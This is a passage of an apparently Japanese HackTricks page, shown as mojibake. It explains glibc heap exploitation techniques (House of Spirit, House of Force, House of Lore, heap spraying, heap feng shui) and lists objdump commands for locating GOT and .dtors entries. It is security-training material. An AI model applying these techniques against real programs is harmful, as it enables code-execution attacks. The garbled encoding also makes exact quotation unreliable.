ããã«ã解æŸããããã£ã³ã¯ã®é£æ¥ãã£ã³ã¯ã¯8ãã倧ãããªããã°ãªããŸãã -> å ã»ã©è§£æŸããããã£ã³ã¯ã®ãµã€ãºã16ã§ããããããã®åœã®ãã£ã³ã¯ã«ã¯8ãã倧ãããµã€ãºãå ¥ããå¿ èŠããããŸãïŒã·ã§ã«ã³ãŒãã解æŸããããã£ã³ã¯ã«å ¥ããããæåã«nopsã«é£ã¶jmpãå ¥ããå¿ èŠããããŸãïŒã
粟ç¥ã®å®¶
ãã®å Žåãæ»æè ã«ãã£ãŠå€æŽå¯èœãªmallocãžã®ãã€ã³ã¿ãæã€ããšãç®æããŸãïŒäŸãã°ããã€ã³ã¿ãå€æ°ãžã®ãªãŒããŒãããŒã®äžã«ã¹ã¿ãã¯ã«ããå ŽåïŒã
ãã®ããã«ããŠããã®ãã€ã³ã¿ãä»»æã®å Žæã«æãããã«ããããšãã§ããŸããããããã©ã®å Žæã§ãæå¹ã§ã¯ãªããåœã®ãã£ã³ã¯ã®ãµã€ãºã¯av->max_fastããå°ãããããå ·äœçã«ã¯ãå°æ¥ã®malloc()åŒã³åºãã§èŠæ±ããããµã€ãº+8ãšçãããªããã°ãªããŸããããããã£ãŠããã®è匱ãªãã€ã³ã¿ã®åŸã«malloc(40)ãåŒã³åºãããããšãããã£ãŠããå Žåãåœã®ãã£ã³ã¯ã®ãµã€ãºã¯48ãšçãããªããã°ãªããŸããã
äŸãã°ãããã°ã©ã ããŠãŒã¶ãŒã«æ°åãå°ããå Žåã48ãå ¥åããŠãå€æŽå¯èœãªmallocãã€ã³ã¿ã次ã®4ãã€ãïŒéãè¯ããã°EBPã«å±ããå¯èœæ§ãããïŒã«æãããšãã§ããŸãããããã£ãŠã48ã¯åŸãã«ããããµã€ãºããããŒã®ããã«èŠããŸããããã«ãptr-4+48ã®ã¢ãã¬ã¹ã¯è€æ°ã®æ¡ä»¶ãæºããå¿ èŠããããŸãïŒãã®å Žåptr=EBPïŒãã€ãŸãã8 < ptr-4+48 < av->system_memã
ãããæºãããããšã次ã®mallocãmalloc(40)ãšåŒã°ãããšããEBPã®ã¢ãã¬ã¹ãå²ãåœãŠãããŸããæ»æè ããã®mallocã«æžã蟌ãããšãã§ããå ŽåãEBPãšEIPãä»»æã®ã¢ãã¬ã¹ã§äžæžãã§ããŸãã
ããã¯ãfree()ã解æŸããéã«ãã¹ã¿ãã¯ã®EBPãæãã¢ãã¬ã¹ã«å¯ŸããŠæ°ããmalloc()ã®ããã«å®ç§ãªãµã€ãºã®ãã£ã³ã¯ãããããšãèšé²ããããã«è¡ããããšæãããŸãã
åã®å®¶
å¿ èŠãªãã®:
- wildernessãäžæžãã§ãããã£ã³ã¯ãžã®ãªãŒããŒãããŒ
- ãŠãŒã¶ãŒã«ãã£ãŠå®çŸ©ããããµã€ãºã§malloc()ãåŒã³åºã
- ãŠãŒã¶ãŒã«ãã£ãŠå®çŸ©ãããããŒã¿ãæã€malloc()ãåŒã³åºã
æåã«è¡ãããšã¯ãwildernessãã£ã³ã¯ã®ãµã€ãºãéåžžã«å€§ããªå€ïŒ0xffffffffïŒã§äžæžãããããšã§ããããã«ãããååã«å€§ããªã¡ã¢ãªèŠæ±ã¯_int_malloc()ã§åŠçãããããŒããæ¡åŒµããå¿ èŠããªããªããŸãã
次ã«ãav->topãæ»æè ã®å¶åŸ¡äžã«ããã¡ã¢ãªé åãäŸãã°ã¹ã¿ãã¯ãæãããã«å€æŽããŸããav->topã«ã¯&EIP - 8ãèšå®ãããŸãã
av->topãæ»æè ã®å¶åŸ¡äžã«ããã¡ã¢ãªé åãæãããã«äžæžãããå¿ èŠããããŸã:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victimã¯çŸåšã®wildernessãã£ã³ã¯ã®ã¢ãã¬ã¹ïŒçŸåšã®av->topïŒã®å€ãååŸããremainderã¯ãã®ã¢ãã¬ã¹ã«malloc()ã§èŠæ±ããããã€ãæ°ãå ãããã®ã§ãããããã£ãŠããã&EIP-8ã0xbffff224ã«ãããav->topã0x080c2788ãå«ãã§ããå Žåã次ã®malloc()ã®ããã«av->topã$EIP-8ãæãããã«ããããã«ãå¶åŸ¡ãããmallocã§äºçŽããå¿ èŠãããéã¯:
0xbffff224 - 0x080c2788 = 3086207644ã
ãã®ããã«ããŠãav->topã«å€æŽãããå€ãä¿åããã次ã®mallocã¯EIPãæããäžæžãããããšãã§ããŸãã
æ°ããwildernessãã£ã³ã¯ã®ãµã€ãºããæåŸã®malloc()ã«ãã£ãŠè¡ãããèŠæ±ããã倧ããããšãéèŠã§ããã€ãŸããwildernessã&EIP-8ãæããŠããå Žåããµã€ãºã¯ã¹ã¿ãã¯ã®EBPãã£ãŒã«ãã«æ£ç¢ºã«é 眮ãããŸãã
äŒèª¬ã®å®¶
SmallBinã®ç Žæ
解æŸããããã£ã³ã¯ã¯ããã®ãµã€ãºã«åºã¥ããŠbinã«æ¿å ¥ãããŸããããããæ¿å ¥ãããåã«unsorted binsã«ä¿åãããŸãããã£ã³ã¯ã解æŸããããšãããã«ãã®binã«å ¥ãã®ã§ã¯ãªããunsorted binsã«çãŸããŸãã次ã«ãæ°ãããã£ã³ã¯ãäºçŽããã以åã«è§£æŸããããã£ã³ã¯ã圹ç«ã€å Žåããããè¿ããŸããããã倧ããªãã®ãäºçŽããããšãunsorted binsã«ãã解æŸããããã£ã³ã¯ãé©åãªbinã«æ¿å ¥ãããŸãã
è匱ãªã³ãŒãã«å°éããã«ã¯ãã¡ã¢ãªèŠæ±ãav->max_fastïŒéåžž72ïŒãã倧ãããMIN_LARGE_SIZEïŒ512ïŒããå°ãããªããã°ãªããŸããã
binã«èŠæ±ããããµã€ãºã«é©ãããã£ã³ã¯ãããå Žåããããè¿ãããã¢ã³ãªã³ã¯ãããŸã:
bck = victim->bk; åã®ãã£ã³ã¯ãæããŸãããããå¯äžã®æ å ±ã§ãã
bin->bk = bck; åã®ãã£ã³ã¯ãæåŸã®ãã£ã³ã¯ã«ãªããŸããbckãã¹ã¿ãã¯ãæããŠããå Žåã次ã«äºçŽããããã£ã³ã¯ã«ãã®ã¢ãã¬ã¹ãäžããããŸãã
bck->fd = bin; ãã®ãªã¹ããéãããããbinãæãããã«ããŸãã
å¿ èŠãªãã®:
2ã€ã®mallocãäºçŽããæåã®ãã®ã解æŸãããåŸã«ãªãŒããŒãããŒã§ããããã«ããŸãïŒã€ãŸãã2çªç®ã®ãã£ã³ã¯ã解æŸãããbinã«æ¿å ¥ãããåŸã«ããã倧ããªmallocãäºçŽãããå¿ èŠããããŸãïŒã
æ»æè ãéžæããã¢ãã¬ã¹ãæã€mallocãæ»æè ã«ãã£ãŠå¶åŸ¡ãããå¿ èŠããããŸãã
ç®çã¯æ¬¡ã®ãšããã§ãããããããŒãã®äžã«ãã§ã«è§£æŸããããã£ã³ã¯ãããããã®binã«ããå Žåãbkãã€ã³ã¿ãå€æŽã§ããŸããbkãã€ã³ã¿ãå€æŽãããã®ãã£ã³ã¯ãbinã®æåã®ãã®ã«ãªããäºçŽããããšãbinã欺ããŠããªã¹ãã®æåŸã®ãã£ã³ã¯ïŒæ¬¡ã«æäŸããããã®ïŒããæ»æè ãæå®ããåœã®ã¢ãã¬ã¹ã«ãããšèªèãããããšãã§ããŸãïŒã¹ã¿ãã¯ãGOTãªã©ïŒããããã£ãŠãå床å¥ã®ãã£ã³ã¯ãäºçŽãããæ»æè ããã®æš©éãæã£ãŠããå Žåãåžæããäœçœ®ã«ãã£ã³ã¯ãäžããããããã«æžã蟌ãããšãã§ããŸãã
å€æŽããããã£ã³ã¯ã解æŸããåŸã解æŸããããã®ããã倧ããªãã£ã³ã¯ãäºçŽããå¿ èŠããããŸããããã«ãããå€æŽããããã£ã³ã¯ãunsorted binsããåºãŠãé©åãªbinã«æ¿å ¥ãããŸãã
binã«å ¥ã£ããããªãŒããŒãããŒãä»ããŠbkãã€ã³ã¿ãå€æŽããŠãäžæžããããã¢ãã¬ã¹ãæãããã«ããŸãã
ãã®ããã«ããŠãbinã¯malloc()ãååã«åŒã³åºãããã®ãåŸ ã€å¿ èŠããããŸããããã«ãããå€æŽãããbinãåå©çšããã次ã®ãã£ã³ã¯ãåœã®ã¢ãã¬ã¹ã«ãããšä¿¡ã蟌ãŸããŸãããããŠã次ã«èå³ã®ãããã£ã³ã¯ãæäŸãããŸãã
è匱æ§ãã§ããã ãæ©ãå®è¡ããã«ã¯ãçæ³çã«ã¯æ¬¡ã®ããã«ãªããŸã: è匱ãªãã£ã³ã¯ã®äºçŽãå€æŽããããã£ã³ã¯ã®äºçŽããã®ãã£ã³ã¯ã®è§£æŸããã倧ããªãã£ã³ã¯ã®äºçŽããã£ã³ã¯ã®å€æŽïŒè匱æ§ïŒãè匱ãªãµã€ãºãšåããµã€ãºã®ãã£ã³ã¯ã®äºçŽããããŠãã®ãã£ã³ã¯ãéžæããã¢ãã¬ã¹ãæãããšã«ãªããŸãã
ãã®æ»æãé²ãããã«ããã£ã³ã¯ããåœãã§ãªãããšã確èªããããã®å žåçãªãã§ãã¯ã䜿çšãããŸã: bck->fdãvictimãæããŠãããã©ããã確èªããŸããã€ãŸããç§ãã¡ã®ã±ãŒã¹ã§ã¯ãã¹ã¿ãã¯ã§æãããŠããåœã®ãã£ã³ã¯ã®ãã€ã³ã¿fd*ãvictimãæããŠãããã©ããã§ãããã®ä¿è·ãåé¿ããããã«ãæ»æè ã¯äœããã®æ¹æ³ã§ïŒããããã¹ã¿ãã¯ãä»ããŠïŒé©åãªã¢ãã¬ã¹ã«victimã®ã¢ãã¬ã¹ãæžã蟌ãããšãã§ããå¿ èŠããããŸããããããã°ãçã®ãã£ã³ã¯ã®ããã«èŠããŸãã
LargeBinã®ç Žæ
以åãšåãèŠä»¶ãå¿ èŠã§ãããã«ãäºçŽããããã£ã³ã¯ã¯512ãã倧ãããªããã°ãªããŸããã
æ»æã¯åãšåæ§ã§ãbkãã€ã³ã¿ãå€æŽããå¿ èŠãããããã¹ãŠã®malloc()åŒã³åºããå¿ èŠã§ãããããã«ãå€æŽããããã£ã³ã¯ã®ãµã€ãºããã®ãµã€ãº - nbã<MINSIZEã«ãªãããã«å€æŽããå¿ èŠããããŸãã
äŸãã°ããµã€ãºã1552ã«èšå®ãããšã1552 - 1544 = 8 < MINSIZEã«ãªããŸãïŒåŒãç®ã¯è² ã«ãªã£ãŠã¯ãããŸããããªããªããunsignedãæ¯èŒãããããã§ãïŒã
ããã«ãããã«è€éã«ããããã®ããããå°å ¥ãããŸããã
ããŒãã¹ãã¬ãŒ
åºæ¬çã«ã¯ãå¯èœãªéããã¹ãŠã®ããŒãã¡ã¢ãªãäºçŽãããããnopsã®ãããã¬ã¹ãšã·ã§ã«ã³ãŒãã§åããããšãæå³ããŸããããã«ããããã¬ã¹ãšããŠ0x0cã䜿çšããŸããããã«ããã0x0c0c0c0cã®ã¢ãã¬ã¹ã«é£ãŒããšããããã«åŒã³åºãããã¢ãã¬ã¹ãäžæžãããããšãããã«é£ã³ãŸããåºæ¬çã«ããã®æŠè¡ã¯ãã§ããã ãå€ãã®äºçŽãè¡ãããã€ã³ã¿ãäžæžãããããã©ããã確èªãã0x0c0c0c0cã«é£ã¶ããšãæåŸ ããŠããŸãã
ããŒã颚氎
äºçŽãšè§£æŸãéããŠãã¡ã¢ãªãã»ã°ã¡ã³ãåãã空ããã£ã³ã¯ã®éã«äºçŽããããã£ã³ã¯ãé 眮ããŸãããªãŒããŒãããŒãããããã¡ã¯ããããã®åµã®1ã€ã«é 眮ãããŸãã
objdump -d å®è¡å¯èœãã¡ã€ã« â> é¢æ°ãéã¢ã»ã³ãã«ããŸãã
objdump -d ./PROGRAM | grep FUNCTION â> é¢æ°ã¢ãã¬ã¹ãååŸããŸãã
objdump -d -Mintel ./shellcodeout â> å®éã«ã·ã§ã«ã³ãŒãã§ããããšã確èªããOpCodesãååŸããŸãã
objdump -t ./exec | grep varBss â> ã·ã³ãã«ããŒãã«ãå€æ°ãšé¢æ°ã®ã¢ãã¬ã¹ãååŸããŸãã
objdump -TR ./exec | grep exit(func lib) â> ã©ã€ãã©ãªé¢æ°ã®ã¢ãã¬ã¹ãååŸããŸãïŒGOTïŒã
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts â> GOTã§äžæžãããputsã®ã¢ãã¬ã¹ãååŸããŸãã
objdump -D ./exec â> pltã®ãšã³ããªãŸã§å
šãŠãéã¢ã»ã³ãã«ããŸãã
objdump -p -/exec
Info functions strncmp â> gdbã§ã®é¢æ°æ
å ±
èå³æ·±ãã³ãŒã¹
åèæç®
{% hint style="success" %}
AWSãããã³ã°ãåŠã³ãå®è·µãã:HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µãã: HackTricks Training GCP Red Team Expert (GRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- ð¬ Discordã°ã«ãŒããŸãã¯Telegramã°ã«ãŒãã«åå ããããTwitterã§ãã©ããŒããŠãã ãã ðŠ @hacktricks_live.**
- ãããã³ã°ããªãã¯ãå ±æããã«ã¯ãHackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãã ããã